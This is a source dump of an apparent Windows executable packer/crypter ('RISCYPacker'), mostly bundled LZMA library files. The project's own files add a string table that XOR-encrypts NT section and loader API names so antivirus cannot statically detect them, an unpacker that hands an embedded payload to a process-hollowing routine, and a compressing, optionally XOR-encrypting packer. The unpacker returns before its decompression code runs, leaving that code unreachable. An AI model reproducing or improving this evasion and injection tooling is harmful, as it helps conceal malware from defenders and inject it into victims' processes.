-------------------------------------------------------------------------------- /RISCYPacker/lzma/Alloc.h: -------------------------------------------------------------------------------- 1 | /* Alloc.h -- Memory allocation functions 2 | 2015-02-21 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __COMMON_ALLOC_H 5 | #define __COMMON_ALLOC_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | void *MyAlloc(size_t size); 12 | void MyFree(void *address); 13 | 14 | #ifdef _WIN32 15 | 16 | void SetLargePageSize(); 17 | 18 | void *MidAlloc(size_t size); 19 | void MidFree(void *address); 20 | void *BigAlloc(size_t size); 21 | void BigFree(void *address); 22 | 23 | #else 24 | 25 | #define MidAlloc(size) MyAlloc(size) 26 | #define MidFree(address) MyFree(address) 27 | #define BigAlloc(size) MyAlloc(size) 28 | #define BigFree(address) MyFree(address) 29 | 30 | #endif 31 | 32 | extern ISzAlloc g_Alloc; 33 | extern ISzAlloc g_BigAlloc; 34 | 35 | EXTERN_C_END 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/7z/makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = $(CFLAGS) -D_7ZIP_PPMD_SUPPPORT 2 | 3 | PROG = 7zDec.exe 4 | 5 | C_OBJS = \ 6 | $O\7zAlloc.obj \ 7 | $O\7zBuf.obj \ 8 | $O\7zCrc.obj \ 9 | $O\7zCrcOpt.obj \ 10 | $O\7zFile.obj \ 11 | $O\7zDec.obj \ 12 | $O\7zArcIn.obj \ 13 | $O\7zStream.obj \ 14 | $O\Bcj2.obj \ 15 | $O\Bra.obj \ 16 | $O\Bra86.obj \ 17 | $O\BraIA64.obj \ 18 | $O\CpuArch.obj \ 19 | $O\Delta.obj \ 20 | $O\Lzma2Dec.obj \ 21 | $O\LzmaDec.obj \ 22 | $O\Ppmd7.obj \ 23 | $O\Ppmd7Dec.obj \ 24 | 25 | 7Z_OBJS = \ 26 | $O\7zMain.obj \ 27 | 28 | OBJS = \ 29 | $O\Precomp.obj \ 30 | $(7Z_OBJS) \ 31 | $(C_OBJS) \ 32 | 33 | !include "../../../CPP/Build.mak" 34 | 35 | $(7Z_OBJS): $(*B).c 36 | $(CCOMPL_USE) 37 | $(C_OBJS): ../../$(*B).c 38 | $(CCOMPL_USE) 39 | $O\Precomp.obj: Precomp.c 40 | $(CCOMPL_PCH) 41 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/XzEnc.h: -------------------------------------------------------------------------------- 1 | /* XzEnc.h -- Xz Encode 2 | 2011-02-07 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __XZ_ENC_H 5 | #define __XZ_ENC_H 6 | 7 | #include "Lzma2Enc.h" 8 | 9 | #include "Xz.h" 10 | 11 | EXTERN_C_BEGIN 12 | 13 | typedef struct 14 | { 15 | UInt32 id; 16 | UInt32 delta; 17 | UInt32 ip; 18 | int ipDefined; 19 | } CXzFilterProps; 20 | 21 | void XzFilterProps_Init(CXzFilterProps *p); 22 | 23 | typedef struct 24 | { 25 | const CLzma2EncProps *lzma2Props; 26 | const CXzFilterProps *filterProps; 27 | unsigned checkId; 28 | } CXzProps; 29 | 30 | void XzProps_Init(CXzProps *p); 31 | 32 | SRes Xz_Encode(ISeqOutStream *outStream, ISeqInStream *inStream, 33 | const CXzProps *props, ICompressProgress *progress); 34 | 35 | SRes Xz_EncodeEmpty(ISeqOutStream *outStream); 36 | 37 | EXTERN_C_END 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/Lzma/makefile.gcc: -------------------------------------------------------------------------------- 1 | PROG = lzma 2 | CXX = g++ 3 | LIB = 4 | RM = rm -f 5 | CFLAGS = -c -O2 -Wall -D_7ZIP_ST 6 | 7 | OBJS = \ 8 | LzmaUtil.o \ 9 | Alloc.o \ 10 | LzFind.o \ 11 | LzmaDec.o \ 12 | LzmaEnc.o \ 13 | 7zFile.o \ 14 | 7zStream.o \ 15 | 16 | 17 | all: $(PROG) 18 | 19 | $(PROG): $(OBJS) 20 | $(CXX) -o $(PROG) $(LDFLAGS) $(OBJS) $(LIB) $(LIB2) 21 | 22 | LzmaUtil.o: LzmaUtil.c 23 | $(CXX) $(CFLAGS) LzmaUtil.c 24 | 25 | Alloc.o: ../../Alloc.c 26 | $(CXX) $(CFLAGS) ../../Alloc.c 27 | 28 | LzFind.o: ../../LzFind.c 29 | $(CXX) $(CFLAGS) ../../LzFind.c 30 | 31 | LzmaDec.o: ../../LzmaDec.c 32 | $(CXX) $(CFLAGS) ../../LzmaDec.c 33 | 34 | LzmaEnc.o: ../../LzmaEnc.c 35 | $(CXX) $(CFLAGS) ../../LzmaEnc.c 36 | 37 | 7zFile.o: ../../7zFile.c 38 | $(CXX) $(CFLAGS) ../../7zFile.c 39 | 40 | 7zStream.o: ../../7zStream.c 41 | $(CXX) $(CFLAGS) ../../7zStream.c 42 | 43 | clean: 44 | -$(RM) $(PROG) $(OBJS) 45 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/RISCYBuilder.cpp: -------------------------------------------------------------------------------- 1 | // RISCYBuilder.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #include 7 | #include "Packer.h" 8 | 9 | int main() 10 | { 11 | int argc; 12 | LPWSTR *argv; 13 | argv = CommandLineToArgvW(GetCommandLineW(), &argc); 14 | if (argc < 2) 15 | Error::ErrExit(L"Not Enough Arguments",ERROR_INVALID_ARGUEMENT); 16 | 17 | 18 | HANDLE hExe = CreateFile(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, NULL, NULL); 19 | if (!hExe) 20 | Error::ErrExit(L"File either does not exist or cannot be open", ERROR_CANNOT_OPEN_FILE); 21 | LARGE_INTEGER fSize = { 0,0 }; 22 | GetFileSizeEx(hExe, &fSize); 23 | IMAGE_DOS_HEADER* exe = (IMAGE_DOS_HEADER*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fSize.LowPart); 24 | ReadFile(hExe, (void*)exe, fSize.LowPart, NULL, NULL); 25 | Packer p; 26 | BYTE* packedExe = p.Pack(exe,fSize.LowPart); 27 | 28 | return SUCCESS; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /RISCYPacker/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Viva.rc 4 | // 5 | #define IDC_MYICON 2 6 | #define IDD_VIVA_DIALOG 102 7 | #define IDS_APP_TITLE 103 8 | #define IDD_ABOUTBOX 103 9 | #define IDM_ABOUT 104 10 | #define IDM_EXIT 105 11 | #define IDI_VIVA 107 12 | #define IDI_SMALL 108 13 | #define IDC_VIVA 109 14 | #define IDR_MAINFRAME 128 15 | #define IDI_ICON1 130 16 | #define IDR_DATA1 133 17 | #define IDC_STATIC -1 18 | 19 | // Next default values for new objects 20 | // 21 | #ifdef APSTUDIO_INVOKED 22 | #ifndef APSTUDIO_READONLY_SYMBOLS 23 | #define _APS_NO_MFC 1 24 | #define _APS_NEXT_RESOURCE_VALUE 134 25 | #define _APS_NEXT_COMMAND_VALUE 32773 26 | #define _APS_NEXT_CONTROL_VALUE 1000 27 | #define _APS_NEXT_SYMED_VALUE 110 28 | #endif 29 | #endif 30 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zBuf2.c: -------------------------------------------------------------------------------- 1 | /* 7zBuf2.c -- Byte Buffer 2 | 2014-08-22 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include 7 | 8 | #include "7zBuf.h" 9 | 10 | void DynBuf_Construct(CDynBuf *p) 11 | { 12 | p->data = 0; 13 | p->size = 0; 14 | p->pos = 0; 15 | } 16 | 17 | void DynBuf_SeekToBeg(CDynBuf *p) 18 | { 19 | p->pos = 0; 20 | } 21 | 22 | int DynBuf_Write(CDynBuf *p, const Byte *buf, size_t size, ISzAlloc *alloc) 23 | { 24 | if (size > p->size - p->pos) 25 | { 26 | size_t newSize = p->pos + size; 27 | Byte *data; 28 | newSize += newSize / 4; 29 | data = (Byte *)alloc->Alloc(alloc, newSize); 30 | if (data == 0) 31 | return 0; 32 | p->size = newSize; 33 | memcpy(data, p->data, p->pos); 34 | alloc->Free(alloc, p->data); 35 | p->data = data; 36 | } 37 | if (size != 0) 38 | { 39 | memcpy(p->data + p->pos, buf, size); 40 | p->pos += size; 41 | } 42 | return 1; 43 | } 44 | 45 | void DynBuf_Free(CDynBuf *p, ISzAlloc *alloc) 46 | { 47 | alloc->Free(alloc, p->data); 48 | p->data = 0; 49 | p->size = 0; 50 | p->pos = 0; 51 | } 52 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Compiler.h: -------------------------------------------------------------------------------- 1 | /* Compiler.h 2 | 2015-08-02 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_COMPILER_H 5 | #define __7Z_COMPILER_H 6 | 7 | #ifdef _MSC_VER 8 | 9 | #ifdef UNDER_CE 10 | #define RPC_NO_WINDOWS_H 11 | /* #pragma warning(disable : 4115) // '_RPC_ASYNC_STATE' : named type definition in parentheses */ 12 | #pragma warning(disable : 4201) // nonstandard extension used : nameless struct/union 13 | #pragma warning(disable : 4214) // nonstandard extension used : bit field types other than int 14 | #endif 15 | 16 | #if _MSC_VER >= 1300 17 | #pragma warning(disable : 4996) // This function or variable may be unsafe 18 | #else 19 | #pragma warning(disable : 4511) // copy constructor could not be generated 20 | #pragma warning(disable : 4512) // assignment operator could not be generated 21 | #pragma warning(disable : 4514) // unreferenced inline function has been removed 22 | #pragma warning(disable : 4702) // unreachable code 23 | #pragma warning(disable : 4710) // not inlined 24 | #pragma warning(disable : 4786) // identifier was truncated to '255' characters in the debug information 25 | #endif 26 | 27 | #endif 28 | 29 | #define UNUSED_VAR(x) (void)x; 30 | /* #define UNUSED_VAR(x) x=x; */ 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /RISCYPacker.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.6 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RISCYPacker", "RISCYPacker\RISCYPacker.vcxproj", "{35847445-2F84-4012-9163-2884438B08E0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {35847445-2F84-4012-9163-2884438B08E0}.Debug|x64.ActiveCfg = Debug|x64 17 | {35847445-2F84-4012-9163-2884438B08E0}.Debug|x64.Build.0 = Debug|x64 18 | {35847445-2F84-4012-9163-2884438B08E0}.Debug|x86.ActiveCfg = Debug|Win32 19 | {35847445-2F84-4012-9163-2884438B08E0}.Debug|x86.Build.0 = Debug|Win32 20 | {35847445-2F84-4012-9163-2884438B08E0}.Release|x64.ActiveCfg = Release|x64 21 | {35847445-2F84-4012-9163-2884438B08E0}.Release|x64.Build.0 = Release|x64 22 | {35847445-2F84-4012-9163-2884438B08E0}.Release|x86.ActiveCfg = Release|Win32 23 | {35847445-2F84-4012-9163-2884438B08E0}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /RISCYPacker/PEData.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | struct SectionInfo { 7 | SectionInfo(char name[], int ro, int vo, int rs, int vs) { memcpy(sectionName,name,strlen((char*)name)); _rOffset = ro; _vOffset = vo; _rSize = rs; _vSize = vs; } 8 | char sectionName[8] = { }; 9 | int _rOffset, _vOffset, _rSize, _vSize; 10 | }; 11 | 12 | struct Thunk { 13 | std::string libname; 14 | std::vector functionNames; 15 | }; 16 | 17 | struct IAT { 18 | unsigned int offset; 19 | std::vector thunks; 20 | }; 21 | 22 | 23 | class PEData 24 | { 25 | public: 26 | PEData(IMAGE_DOS_HEADER* exe); 27 | PEData(std::wstring filePath); 28 | void Init(IMAGE_DOS_HEADER* exe); 29 | IAT GetIAT() { return iat; } 30 | std::vector GetSections() { return si; } 31 | IMAGE_OPTIONAL_HEADER *GetOptionalHeader() { return this->I_optionalHeader; } 32 | void *GetModuleBase() { return exe; } 33 | DWORD PEData::GetEntryPoint() { return this->I_optionalHeader->AddressOfEntryPoint; } 34 | ~PEData(); 35 | private: 36 | IMAGE_OPTIONAL_HEADER *I_optionalHeader; 37 | IMAGE_NT_HEADERS *I_ntHeader; 38 | IMAGE_FILE_HEADER *I_fileHeader; 39 | IMAGE_DATA_DIRECTORY *I_dataDirectory; 40 | DWORD Rva2Offset(DWORD dwRva); 41 | void ExtractSections(); 42 | void ExtractImports(); 43 | std::vector si; 44 | IAT iat; 45 | void* exe; 46 | }; 47 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.6 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RISCYBuilder", "RISCYBuilder\RISCYBuilder.vcxproj", "{25B44E36-869C-4105-8522-56A16D4C9E91}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Debug|x64.ActiveCfg = Debug|x64 17 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Debug|x64.Build.0 = Debug|x64 18 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Debug|x86.ActiveCfg = Debug|Win32 19 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Debug|x86.Build.0 = Debug|Win32 20 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Release|x64.ActiveCfg = Release|x64 21 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Release|x64.Build.0 = Release|x64 22 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Release|x86.ActiveCfg = Release|Win32 23 | {25B44E36-869C-4105-8522-56A16D4C9E91}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /RISCYPacker/AVStringTable.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "StringCryptor.h" 3 | 4 | // GLOBAL STRING TABLE 5 | // AV may statically detect obfuscated strings being passed to APIs 6 | // Passing pointers into this struct, we can force compile 7 | // indirect references to encrypted data instead. 8 | struct AV_stringTable { 9 | 10 | std::string NtUnmapViewOfSection; 11 | std::string NtMapViewOfSection; 12 | std::string NtCreateSection; 13 | std::wstring Ntdll; 14 | std::wstring Kernel32; 15 | std::string LoadLibraryA; 16 | std::string GetProcAddress; 17 | 18 | std::string wstringtostring(std::wstring ws) 19 | { 20 | return std::string(ws.begin(), ws.end()); 21 | } 22 | 23 | AV_stringTable() { 24 | XorS(sNtUnmapViewOfSection, "NtUnmapViewOfSection"); 25 | XorS(sNtMapViewOfSection, "NtMapViewOfSection"); 26 | XorS(sNtCreateSection, "NtCreateSection"); 27 | XorS(sNtdll, "ntdll"); 28 | XorS(sKernel32, "Kernel32"); 29 | XorS(sLoadLibraryA, "LoadLibraryA"); 30 | XorS(sGetProcAddress, "GetProcAddress"); 31 | 32 | NtUnmapViewOfSection = wstringtostring(sNtUnmapViewOfSection.decrypt()); 33 | NtMapViewOfSection = wstringtostring(sNtMapViewOfSection.decrypt()); 34 | NtCreateSection = wstringtostring(sNtCreateSection.decrypt()); 35 | Ntdll = sNtdll.decrypt(); 36 | Kernel32 = sKernel32.decrypt(); 37 | LoadLibraryA = wstringtostring(sLoadLibraryA.decrypt()); 38 | GetProcAddress = wstringtostring(sGetProcAddress.decrypt()); 39 | } 40 | }; -------------------------------------------------------------------------------- /RISCYPacker/lzma/LzmaLib.c: -------------------------------------------------------------------------------- 1 | /* LzmaLib.c -- LZMA library wrapper 2 | 2015-06-13 : Igor Pavlov : Public domain */ 3 | 4 | #include "Alloc.h" 5 | #include "LzmaDec.h" 6 | #include "LzmaEnc.h" 7 | #include "LzmaLib.h" 8 | 9 | MY_STDAPI LzmaCompress(unsigned char *dest, size_t *destLen, const unsigned char *src, size_t srcLen, 10 | unsigned char *outProps, size_t *outPropsSize, 11 | int level, /* 0 <= level <= 9, default = 5 */ 12 | unsigned dictSize, /* use (1 << N) or (3 << N). 4 KB < dictSize <= 128 MB */ 13 | int lc, /* 0 <= lc <= 8, default = 3 */ 14 | int lp, /* 0 <= lp <= 4, default = 0 */ 15 | int pb, /* 0 <= pb <= 4, default = 2 */ 16 | int fb, /* 5 <= fb <= 273, default = 32 */ 17 | int numThreads /* 1 or 2, default = 2 */ 18 | ) 19 | { 20 | CLzmaEncProps props; 21 | LzmaEncProps_Init(&props); 22 | props.level = level; 23 | props.dictSize = dictSize; 24 | props.lc = lc; 25 | props.lp = lp; 26 | props.pb = pb; 27 | props.fb = fb; 28 | props.numThreads = numThreads; 29 | 30 | return LzmaEncode(dest, destLen, src, srcLen, &props, outProps, outPropsSize, 0, 31 | NULL, &g_Alloc, &g_Alloc); 32 | } 33 | 34 | 35 | MY_STDAPI LzmaUncompress(unsigned char *dest, size_t *destLen, const unsigned char *src, size_t *srcLen, 36 | const unsigned char *props, size_t propsSize) 37 | { 38 | ELzmaStatus status; 39 | return LzmaDecode(dest, destLen, src, srcLen, props, (unsigned)propsSize, LZMA_FINISH_ANY, &status, &g_Alloc); 40 | } 41 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/PEData.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct SectionInfo { 8 | SectionInfo(char name[], int ro, int vo, int rs, int vs) { memcpy(sectionName, name, strlen((char*)name)); _rOffset = ro; _vOffset = vo; _rSize = rs; _vSize = vs; } 9 | char sectionName[8] = {}; 10 | int _rOffset, _vOffset, _rSize, _vSize; 11 | }; 12 | 13 | struct Thunk { 14 | std::string libname; 15 | std::vector functionNames; 16 | }; 17 | 18 | struct IAT { 19 | unsigned int offset; 20 | std::vector thunks; 21 | }; 22 | 23 | 24 | class PEData 25 | { 26 | public: 27 | PEData(IMAGE_DOS_HEADER* exe); 28 | PEData(std::wstring filePath); 29 | void Init(IMAGE_DOS_HEADER* exe); 30 | void WriteResource(BYTE* buff); 31 | IAT GetIAT() { return iat; } 32 | std::vector GetSections() { return si; } 33 | IMAGE_OPTIONAL_HEADER *GetOptionalHeader() { return this->I_optionalHeader; } 34 | void *GetModuleBase() { return exe; } 35 | DWORD PEData::GetEntryPoint() { return this->I_optionalHeader->AddressOfEntryPoint; } 36 | ~PEData(); 37 | protected: 38 | IMAGE_OPTIONAL_HEADER *I_optionalHeader; 39 | IMAGE_NT_HEADERS *I_ntHeader; 40 | IMAGE_FILE_HEADER *I_fileHeader; 41 | IMAGE_DATA_DIRECTORY *I_dataDirectory; 42 | DWORD Rva2Offset(DWORD dwRva); 43 | void ExtractSections(); 44 | void ExtractImports(); 45 | std::vector si; 46 | IAT iat; 47 | void* exe; 48 | }; 49 | -------------------------------------------------------------------------------- /RISCYPacker/Unpacker.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "Unpacker.h" 3 | #include "resource.h" 4 | #include 5 | #include 6 | #include 7 | 8 | Unpacker::Unpacker() 9 | { 10 | 11 | } 12 | 13 | IMAGE_DOS_HEADER *Unpacker::Unpack() 14 | { 15 | HMODULE hMod = GetModuleHandle(NULL); 16 | HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), L"DATA"); 17 | return (IMAGE_DOS_HEADER*)LoadResource(hMod, res); 18 | 19 | DWORD packedSize = SizeofResource(hMod, res); 20 | 21 | boost::iostreams::filtering_ostream os; 22 | const char* end = (char*)((int)exe + packedSize); 23 | const char *cExe = (char*)exe; 24 | 25 | std::vector compressed; 26 | compressed.insert(compressed.end(), cExe, end); 27 | std::vector decompressed = std::vector(); 28 | 29 | { 30 | boost::iostreams::filtering_ostream os; 31 | 32 | os.push(boost::iostreams::zlib_decompressor()); 33 | os.push(std::back_inserter(decompressed)); 34 | 35 | boost::iostreams::write(os, reinterpret_cast(&compressed[0]), compressed.size()); 36 | } 37 | 38 | 39 | return (IMAGE_DOS_HEADER *)decompressed.data(); 40 | 41 | 42 | } 43 | bool Unpacker::UnpackIntoProcess(std::wstring procPath) 44 | { 45 | this->exe=Unpack(); 46 | if (!this->exe) 47 | return false; 48 | Hollower *hollow = new Hollower(procPath, this->exe); 49 | hollow->DoHollow(); 50 | return true; 51 | } 52 | 53 | Unpacker::~Unpacker() 54 | { 55 | } 56 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Aes.h: -------------------------------------------------------------------------------- 1 | /* Aes.h -- AES encryption / decryption 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __AES_H 5 | #define __AES_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define AES_BLOCK_SIZE 16 12 | 13 | /* Call AesGenTables one time before other AES functions */ 14 | void AesGenTables(void); 15 | 16 | /* UInt32 pointers must be 16-byte aligned */ 17 | 18 | /* 16-byte (4 * 32-bit words) blocks: 1 (IV) + 1 (keyMode) + 15 (AES-256 roundKeys) */ 19 | #define AES_NUM_IVMRK_WORDS ((1 + 1 + 15) * 4) 20 | 21 | /* aes - 16-byte aligned pointer to keyMode+roundKeys sequence */ 22 | /* keySize = 16 or 24 or 32 (bytes) */ 23 | typedef void (MY_FAST_CALL *AES_SET_KEY_FUNC)(UInt32 *aes, const Byte *key, unsigned keySize); 24 | void MY_FAST_CALL Aes_SetKey_Enc(UInt32 *aes, const Byte *key, unsigned keySize); 25 | void MY_FAST_CALL Aes_SetKey_Dec(UInt32 *aes, const Byte *key, unsigned keySize); 26 | 27 | /* ivAes - 16-byte aligned pointer to iv+keyMode+roundKeys sequence: UInt32[AES_NUM_IVMRK_WORDS] */ 28 | void AesCbc_Init(UInt32 *ivAes, const Byte *iv); /* iv size is AES_BLOCK_SIZE */ 29 | /* data - 16-byte aligned pointer to data */ 30 | /* numBlocks - the number of 16-byte blocks in data array */ 31 | typedef void (MY_FAST_CALL *AES_CODE_FUNC)(UInt32 *ivAes, Byte *data, size_t numBlocks); 32 | extern AES_CODE_FUNC g_AesCbc_Encode; 33 | extern AES_CODE_FUNC g_AesCbc_Decode; 34 | extern AES_CODE_FUNC g_AesCtr_Code; 35 | 36 | EXTERN_C_END 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Lzma86Dec.c: -------------------------------------------------------------------------------- 1 | /* Lzma86Dec.c -- LZMA + x86 (BCJ) Filter Decoder 2 | 2016-05-16 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "Lzma86.h" 7 | 8 | #include "Alloc.h" 9 | #include "Bra.h" 10 | #include "LzmaDec.h" 11 | 12 | SRes Lzma86_GetUnpackSize(const Byte *src, SizeT srcLen, UInt64 *unpackSize) 13 | { 14 | unsigned i; 15 | if (srcLen < LZMA86_HEADER_SIZE) 16 | return SZ_ERROR_INPUT_EOF; 17 | *unpackSize = 0; 18 | for (i = 0; i < sizeof(UInt64); i++) 19 | *unpackSize += ((UInt64)src[LZMA86_SIZE_OFFSET + i]) << (8 * i); 20 | return SZ_OK; 21 | } 22 | 23 | SRes Lzma86_Decode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen) 24 | { 25 | SRes res; 26 | int useFilter; 27 | SizeT inSizePure; 28 | ELzmaStatus status; 29 | 30 | if (*srcLen < LZMA86_HEADER_SIZE) 31 | return SZ_ERROR_INPUT_EOF; 32 | 33 | useFilter = src[0]; 34 | 35 | if (useFilter > 1) 36 | { 37 | *destLen = 0; 38 | return SZ_ERROR_UNSUPPORTED; 39 | } 40 | 41 | inSizePure = *srcLen - LZMA86_HEADER_SIZE; 42 | res = LzmaDecode(dest, destLen, src + LZMA86_HEADER_SIZE, &inSizePure, 43 | src + 1, LZMA_PROPS_SIZE, LZMA_FINISH_ANY, &status, &g_Alloc); 44 | *srcLen = inSizePure + LZMA86_HEADER_SIZE; 45 | if (res != SZ_OK) 46 | return res; 47 | if (useFilter == 1) 48 | { 49 | UInt32 x86State; 50 | x86_Convert_Init(x86State); 51 | x86_Convert(dest, *destLen, 0, &x86State, 0); 52 | } 53 | return SZ_OK; 54 | } 55 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Delta.c: -------------------------------------------------------------------------------- 1 | /* Delta.c -- Delta converter 2 | 2009-05-26 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "Delta.h" 7 | 8 | void Delta_Init(Byte *state) 9 | { 10 | unsigned i; 11 | for (i = 0; i < DELTA_STATE_SIZE; i++) 12 | state[i] = 0; 13 | } 14 | 15 | static void MyMemCpy(Byte *dest, const Byte *src, unsigned size) 16 | { 17 | unsigned i; 18 | for (i = 0; i < size; i++) 19 | dest[i] = src[i]; 20 | } 21 | 22 | void Delta_Encode(Byte *state, unsigned delta, Byte *data, SizeT size) 23 | { 24 | Byte buf[DELTA_STATE_SIZE]; 25 | unsigned j = 0; 26 | MyMemCpy(buf, state, delta); 27 | { 28 | SizeT i; 29 | for (i = 0; i < size;) 30 | { 31 | for (j = 0; j < delta && i < size; i++, j++) 32 | { 33 | Byte b = data[i]; 34 | data[i] = (Byte)(b - buf[j]); 35 | buf[j] = b; 36 | } 37 | } 38 | } 39 | if (j == delta) 40 | j = 0; 41 | MyMemCpy(state, buf + j, delta - j); 42 | MyMemCpy(state + delta - j, buf, j); 43 | } 44 | 45 | void Delta_Decode(Byte *state, unsigned delta, Byte *data, SizeT size) 46 | { 47 | Byte buf[DELTA_STATE_SIZE]; 48 | unsigned j = 0; 49 | MyMemCpy(buf, state, delta); 50 | { 51 | SizeT i; 52 | for (i = 0; i < size;) 53 | { 54 | for (j = 0; j < delta && i < size; i++, j++) 55 | { 56 | buf[j] = data[i] = (Byte)(buf[j] + data[i]); 57 | } 58 | } 59 | } 60 | if (j == delta) 61 | j = 0; 62 | MyMemCpy(state, buf + j, delta - j); 63 | MyMemCpy(state + delta - j, buf, j); 64 | } 65 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/Packer.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "Packer.h" 3 | #include 4 | #include 5 | #include 6 | 7 | #define KEY_SIZE 32 8 | 9 | Packer::Packer() 10 | { 11 | } 12 | 13 | 14 | Packer::~Packer() 15 | { 16 | } 17 | 18 | void Packer::Crypt() 19 | { 20 | 21 | BYTE key[KEY_SIZE]; 22 | HCRYPTPROV hProv; 23 | CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); 24 | CryptGenRandom(hProv, KEY_SIZE, key); 25 | int i = 0; 26 | for (std::vector::iterator it = this->packedBinary.begin(); it != this->packedBinary.end(); ++it) 27 | { 28 | *it = *it^key[i%KEY_SIZE]; 29 | i++; 30 | } 31 | 32 | return; 33 | } 34 | 35 | std::vector Packer::ZLIBcompress(IMAGE_DOS_HEADER *exe, size_t fSize) 36 | { 37 | boost::iostreams::filtering_ostream os; 38 | const char* end = (char*)((int)exe + fSize); 39 | const char *cExe = (char*)exe; 40 | 41 | std::vector decompressed; 42 | decompressed.insert(decompressed.end(), cExe, end); 43 | std::vector compressed = std::vector(); 44 | 45 | { 46 | boost::iostreams::filtering_ostream os; 47 | 48 | os.push(boost::iostreams::zlib_compressor()); 49 | os.push(std::back_inserter(compressed)); 50 | 51 | boost::iostreams::write(os, reinterpret_cast(&decompressed[0]), decompressed.size()); 52 | } 53 | 54 | 55 | return compressed; 56 | } 57 | 58 | BYTE* Packer::Pack(IMAGE_DOS_HEADER *exe,size_t fSize) 59 | { 60 | 61 | this->packedBinary = ZLIBcompress(exe, fSize); 62 | //Crypt(); 63 | return (BYTE*)this->packedBinary.data(); 64 | } 65 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zVersion.rc: -------------------------------------------------------------------------------- 1 | #define MY_VS_FFI_FILEFLAGSMASK 0x0000003FL 2 | #define MY_VOS_NT_WINDOWS32 0x00040004L 3 | #define MY_VOS_CE_WINDOWS32 0x00050004L 4 | 5 | #define MY_VFT_APP 0x00000001L 6 | #define MY_VFT_DLL 0x00000002L 7 | 8 | // #include 9 | 10 | #ifndef MY_VERSION 11 | #include "7zVersion.h" 12 | #endif 13 | 14 | #define MY_VER MY_VER_MAJOR,MY_VER_MINOR,MY_VER_BUILD,0 15 | 16 | #ifdef DEBUG 17 | #define DBG_FL VS_FF_DEBUG 18 | #else 19 | #define DBG_FL 0 20 | #endif 21 | 22 | #define MY_VERSION_INFO(fileType, descr, intName, origName) \ 23 | LANGUAGE 9, 1 \ 24 | 1 VERSIONINFO \ 25 | FILEVERSION MY_VER \ 26 